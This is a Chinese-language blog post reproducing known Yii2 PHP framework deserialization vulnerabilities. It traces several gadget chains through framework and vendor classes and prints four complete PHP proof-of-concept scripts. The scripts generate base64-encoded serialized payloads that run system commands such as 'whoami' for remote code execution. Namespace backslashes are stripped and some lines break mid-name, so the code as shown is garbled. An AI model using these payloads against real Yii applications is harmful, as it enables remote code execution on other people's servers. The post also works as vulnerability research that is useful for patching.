• Yii反序列化漏洞分析


    yii2反序列化漏洞分析

    环境搭建

    Windows10 phpstudy

    yii2版本:2.0.37和2.0.38

    php版本:7.3.4

    环境安装

    使用compser安装2.0.38版本,github安装2.0.37版本

    漏洞分析

    漏洞的出发点是在yiivendoryiisoftyii2dbBatchQueryResult.php文件中,

    image-20200924142948953

    这里调用reset()方法,跟进查看reset()方法

    image-20200924143202497

    并且这里$this->dataReader可控,可以调用不存在close()方法并且存在__call()方法的类,就是找一个跳板。$this->_dataREader->close()这里可以利用魔术方法__call,于是开始全局搜索__call。在yiivendorfzaninottofakersrcFakerGenerator.php文件中

    image-20200924144130770

    跟进format

    image-20200924144245020

    跟进查看getFormatter

    image-20200924144352201

    format里调用了call_user_func_array,$formatter$arguments都不可控,目前$formatter='close',$arguments为空。$formatter传入了$this->getFormatter,在这个方法中,$this->formatters是可控的,这也就意味着getFormatter方法的返回值是可控的。

    也就是说all_user_func_array这个函数的第一个参数可控,第二个参数为空

    现在可以调用yii框架中的任何一个无参的方法。所以,要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行。

    查找调用了call_user_func函数的无参方法。

    构造正则

    function w+() ? ?{(.* )+call_user_func

    查看IndexAction.php中的run方法

    image-20200924152153978

    可以看到$this->checkAccess以及$this->id都可控,构成利用链

    yiidbBatchQueryResult::__destruct() -> FakerGenerator::__call() -> yii estIndexAction::run()

    POC1

    <?php
    namespace yii
    est{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'dir';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                $this->formatters['close'] = [new CreateAction(), 'run'];
            }
        }
    }
    
    namespace yiidb{
        use FakerGenerator;
    
        class BatchQueryResult{
            private $_dataReader;
    
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yiidbBatchQueryResult));
    }
    ?>
    
    

    验证payload,因为这仅仅是一个反序列化利用链,所以还需要一个反序列化的入口点,这个需要自己构造

    在controllers目录下创建一个Controller:

    image-20200924160835120

    运行POC访问controller传入参数实现RCE

    image-20200924160522739

    该利用链在yii 2.0.37中测试成功,在使用yii 2.0.38测试时,BatchQueryTesult类被修复无法实例化,需要另找起点。

    其他利用链

    yii 2.0.38中的另外起点。

    利用链1

    利用链的起点yiivendorcodeceptioncodeceptionextRunBefore.php

    image-20200925104406270

    同样还是找__destruct()方法调用了stopProcess()函数,因为这里的$this->processes可控,也就意味着$process可控,然后下面又调用了$process->isRunning,可以接上第一条利用链的__call方法开头的后半段。

    利用链

    CodeceptionExtensionRunProcess::__destruct() -> FakerGenerator::__call() -> yii estIndexAction::run()

    POC2

    <?php
    namespace yii
    est{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'ls';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                // 这里需要改为isRunning
                $this->formatters['isRunning'] = [new CreateAction(), 'run'];
            }
        }
    }
    
    // poc2
    namespace CodeceptionExtension{
        use FakerGenerator;
        class RunProcess{
            private $processes;
            public function __construct()
            {
                $this->processes = [new Generator()];
            }
        }
    }
    namespace{
        // 生成poc
        echo base64_encode(serialize(new CodeceptionExtensionRunProcess()));
    }
    ?>
    
    
    

    运行poc,并执行rce

    image-20200925110847113

    利用链2

    yiivendorswiftmailerswiftmailerlibclassesSwiftKeyCacheDiskKeyCache.php文件中,

    image-20200925113630883

    跟进clearAll方法

    image-20200925114038356

    这里的$this->keys以及$nsKey、$itemKey都是我们可控的,所以是可以执行到$this->clearKey的,跟进查看:

    image-20200925114215556

    这里的$this->path也可控,可以看到这里是进行了一个字符串拼接操作,那么意味着可以利用魔术方法__toString来触发后续操作。

    全局搜素__toString,有200个文件

    image-20200925114742664

    文件路径yiivendorphpdocumentor eflection-docblocksrcDocBlockTagsSee.php

    使用See.php举例

    image-20200925114502875

    可以看到$this->description可控,又可以利用__call

    利用链2

    Swift_KeyCache_DiskKeyCache -> phpDocumentorReflectionDocBlockTagsSee::__toString()-> FakerGenerator::__call() -> yii estIndexAction::run()

    POC3

    <?php
    namespace yii
    est{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'dir';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                // 这里需要改为isRunning
                $this->formatters['render'] = [new CreateAction(), 'run'];
            }
        }
    }
    
    namespace phpDocumentorReflectionDocBlockTags{
    
        use FakerGenerator;
    
        class See{
            protected $description;
            public function __construct()
            {
                $this->description = new Generator();
            }
        }
    }
    namespace{
        use phpDocumentorReflectionDocBlockTagsSee;
        class Swift_KeyCache_DiskKeyCache{
            private $keys = [];
            private $path;
            public function __construct()
            {
                $this->path = new See;
                $this->keys = array(
                    "axin"=>array("is"=>"handsome")
                );
            }
        }
        // 生成poc
        echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
    }
    ?>
    

    测试poc,实现rce

    image-20200925115147720

    利用链3

    起点还是一样,与上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我们可控的,需要找到一个类中存在close()方法并且这个方法存在危险函数或是又可以延展调用链的就可以了

    找到yiivendoryiisoftyii2webDbSession.php这个类中的close()方法

    image-20200925150623053

    会调用vendoryiisoftyii2webMultiFieldSession.php中的composeFields()方法,因为是继承此类的,看到这个方法

    image-20200925150809198

    比较这两个函数的差别

    • 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数,数组的 key 回调掉。
    • 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

    这里要利用call_user_func()函数能够将实例化对象作为数组传递给函数,也就是说这里因为我们可控$this->writeCallback,然后赋值[new yii estIndexAction($func, $param), "run"];
    就可以调用之前我们所找到的终点--run()方法,再进行RCE

    POC4

    <?php
    namespace yii
    est {
        class Action
        {
            public $checkAccess;
        }
        class IndexAction
        {
            public function __construct($func, $param)
            {
                $this->checkAccess = $func;
                $this->id = $param;
            }
        }
    }
    namespace yiiweb {
        abstract class MultiFieldSession
        {
            public $writeCallback;
        }
        class DbSession extends MultiFieldSession
        {
            public function __construct($func, $param)
            {
                $this->writeCallback = [new yii
    estIndexAction($func, $param), "run"];
            }
        }
    }
    namespace yiidb {
        use yiiaseBaseObject;
        class BatchQueryResult
        {
            private $_dataReader;
            public function __construct($func, $param)
            {
                $this->_dataReader = new yiiwebDbSession($func, $param);
            }
        }
    }
    namespace {
        $exp = new yiidbBatchQueryResult('system', 'whoami');
        echo(base64_encode(serialize($exp)));
    }
    
    
    

    在yii 2.0.37版本中测试成功,2.0.38测试失败。

    image-20200925152126478

    POC在yii2.0.37中通用,其中POC2和POC3在yii2.0.38中可用。

    对反序列化还不是很熟悉,这里主要是对已知漏洞的复现。

  • 相关阅读:
    [附件解决方案]CruiseControl.NET 超冷门”BUG” 关键字:VstsHistoryParser ParseChangeSet CheckForModifications FormatException
    SQL SERVER 2008 函数大全 字符串函数
    第五章 DOM接口 DOM Interfaces
    [MSSQL]FOR XML AUTO I
    DOS CHOICE命令
    [MSSQL]NTILE另类分页有么有?!
    原生态webglDEMO,以后可能选择Three.JS来代替了,代码网上找的,参考引用
    [MSSQL]COALESCE与ISNULL函数
    【转】“无法在Web服务器上启动调试。您不具备调试此应用程序的权限,此项目的URL位于Internet区域”错误提示的解决
    【转】一个项目涉及到的50个Sql语句(整理版)
  • 原文地址:https://www.cnblogs.com/thresh/p/13743081.html
Copyright © 2020-2023  润新知